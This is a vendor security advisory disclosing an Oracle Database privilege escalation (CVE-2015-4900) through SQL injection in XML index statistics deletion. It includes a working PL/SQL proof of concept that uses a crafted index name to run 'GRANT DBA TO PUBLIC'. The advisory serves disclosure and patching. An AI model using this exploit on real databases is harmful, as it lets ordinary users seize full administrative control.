Trustwave SpiderLabs Security Advisory TWSL2015-019: Privilege escalation vulnerability in Oracle Database Published: 11/06/2015 Version: 1.1 Vendor: Oracle (www.oracle.com) Product: Oracle Database Version affected: 11.2 and prior Product description: Relational database management system for UNIX, Linux, and Microsoft Windows platforms. Finding 1: Privilege escalation via SQL injection in XML index delete statistics processing Credit: Martin Rakhmanov of Trustwave CVE: CVE-2015-4900 There is a flaw in internal SQL fired by DBMS_STATS.DELETE_TABLE_STATS on tables having XML indexes. Any valid database user granted CREATE TABLE, CREATE PROCEDURE and CREATE PUBLIC SYNONYM privileges can exploit this by using specially crafted XML index name as shown below to gain DBA privileges: As a DBA create a demo user: GRANT CREATE SESSION, CREATE PROCEDURE, CREATE TABLE, CREATE PUBLIC SYNONYM, UNLIMITED TABLESPACE TO demouser IDENTIFIED BY ...; Connect as demouser and execute: CREATE PROCEDURE F ( PARTNAME VARCHAR2, CASCADE_PARTS BOOLEAN ) AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ('GRANT DBA TO PUBLIC'); END; / CREATE PUBLIC SYNONYM POC FOR F; CREATE TABLE T34(id int not null primary key, val XMLType); CREATE INDEX "');POC('" ON T34(val) INDEXTYPE IS XDB.XMLIndex; declare TAB_NAME varchar2(100); STMT varchar2(100); begin SELECT OBJECT_NAME INTO TAB_NAME FROM ALL_OBJECTS WHERE OBJECT_NAME LIKE 'SYS%POC%PATH_TABLE'; STMT := 'CREATE TABLE ' || SUBSTR(TAB_NAME, 1, INSTR(TAB_NAME, '_')) || '(id int)'; DBMS_OUTPUT.PUT_LINE(STMT); EXECUTE IMMEDIATE STMT; DBMS_STATS.DELETE_TABLE_STATS(USER, 'T34'); end; / Reconnect as demouser and examine session privileges. Remediation Steps: Apply the Oracle October 2015 Critical Patch Update (CPU). Revision History: 04/14/2015 - Vulnerability disclosed to vendor 10/20/2015 - Patch released by vendor 10/20/2015 - v1.0 Advisory published 11/06/2015 - v1.1 Advisory published (Updated advisory to reflect that Trustwave verified the fix) References 1. http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.